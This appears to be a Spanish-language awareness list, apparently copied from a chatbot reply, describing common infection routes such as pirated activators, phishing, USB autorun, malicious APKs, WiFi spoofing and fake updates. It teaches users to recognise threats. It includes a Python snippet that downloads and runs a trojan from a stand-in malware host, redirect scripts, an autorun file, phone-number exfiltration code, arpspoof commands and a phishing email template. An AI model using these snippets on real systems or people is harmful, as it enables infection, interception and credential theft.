

1 Descarga de archivos infectados (Software pirata)

📌 Ejemplo: Encuentras un supuesto activador gratuito para Microsoft Office en una web de descargas.

🔴 Archivo malicioso:

📁 Nombre del archivo: Office_Activator.exe

📄 Contenido sospechoso:

python

📋 Copiar 🗑️ Editar

```
import os
import requests

# Simula la descarga de un troyano oculto
url = "http://malware-site.com/trojan.exe"
response = requests.get(url)
with open("trojan.exe", "wb") as file:
    file.write(response.content)

# Ejecuta el troyano en segundo plano
os.system("trojan.exe")
```

💀 Qué hace: Descarga y ejecuta un archivo malicioso sin que lo notes.

2 Correos electrónicos de phishing

📌 Ejemplo: Un correo supuestamente de tu banco te pide que actualices tus datos.

📧 Correo malicioso:

```
java Copiar Editar

De: seguridad@banco-falso.com
Asunto: Urgente: Su cuenta será suspendida

Estimado cliente,

Hemos detectado actividad sospechosa en su cuenta. Para evitar su suspensión, por favor verif:

🔗 http://bancoseguro-login.com/verificacion

Atentamente,
Equipo de Seguridad - [Nombre del Banco]
```

💀 Qué hace: Si ingresas tus datos en la web falsa, un hacker los roba.

4 Páginas web falsas con descargas automáticas

📌 Ejemplo: Visitas una web para ver películas gratis y se te descarga un archivo automáticamente.

🌐 Web falsa:

html

📄 Copiar 🗑️ Editar

```
<script>
window.location.href = "http://malware-site.com/update_flash.exe";
</script>
```

💀 Qué hace: Redirige automáticamente a una descarga maliciosa sin tu consentimiento.

5 USB infectado

📌 **Ejemplo:** Encuentras un USB en la calle y lo conectas a tu PC.

🔗 **Código en** `autorun.inf` **dentro del USB:**

ini

📄 Copiar 🗑 Editar

```
[autorun]
open=malware.exe
icon=usb.ico
```

💀 **Qué hace:** Ejecuta `malware.exe` automáticamente al insertar el USB.

6 Aplicaciones móviles maliciosas

📌 **Ejemplo:** Descargas una app APK de dudosa procedencia para ver Netflix gratis.

📄 Código en un APK malicioso:

java

📄 Copiar 🗑 Editar

```
@Override
public void onCreate() {
    super.onCreate();
    String phoneNumber = telephonyManager.getLine1Number();
    sendDataToServer(phoneNumber);
}
```

💀 **Qué hace:** Roba tu número de teléfono y lo envía a un servidor remoto.

7 Ataques en redes WiFi públicas

📌 Ejemplo: Te conectas a un WiFi gratuito en un café y un hacker intercepta tu tráfico.

💻 Código que captura datos de la red (Man-in-the-Middle)

bash

📋 Copiar 🗑️ Editar

```
echo 1 > /proc/sys/net/ipv4/ip_forward  
arpspoof -i wlan0 -t [Victima-IP] -r [Router-IP]
```

💀 Qué hace: Intercepta tráfico y puede robar contraseñas.

8 Publicidad maliciosa en sitios web (Malvertising)

📌 **Ejemplo:** Un anuncio en una web te dice "Tu PC está en riesgo. Descarga este antivirus".

🚨 Código de redirección en un anuncio malicioso

html

📄 Copiar 🗑 Editar

```
<script>  
window.location.href = "http://malware-download.com/antivirus-falso.exe";  
</script>
```

💀 **Qué hace:** Descarga un archivo malicioso automáticamente.

9 Mensajes en redes sociales con enlaces peligrosos

📌 Ejemplo: Un amigo en Facebook te envía un mensaje extraño.

📧 Mensaje falso en Facebook:

less

📄 Copiar ✎ Editar

¡Mira este video tuyo! 🤖🔗 <https://bit.ly/malware-link>

💀 Qué hace: Si haces clic, te redirige a una página que descarga malware.

10 Falsas actualizaciones del sistema

🚩 Ejemplo: Un sitio web te dice que necesitas actualizar tu navegador.

🚨 Código de alerta falsa en JavaScript

html

📋 Copiar 🗑️ Editar

```
<script>  
alert("Tu navegador está desactualizado. Descarga la última versión aquí: http://fake-update.c  
</script>
```

💀 Qué hace: Engaña al usuario para que descargue y ejecute un archivo malicioso.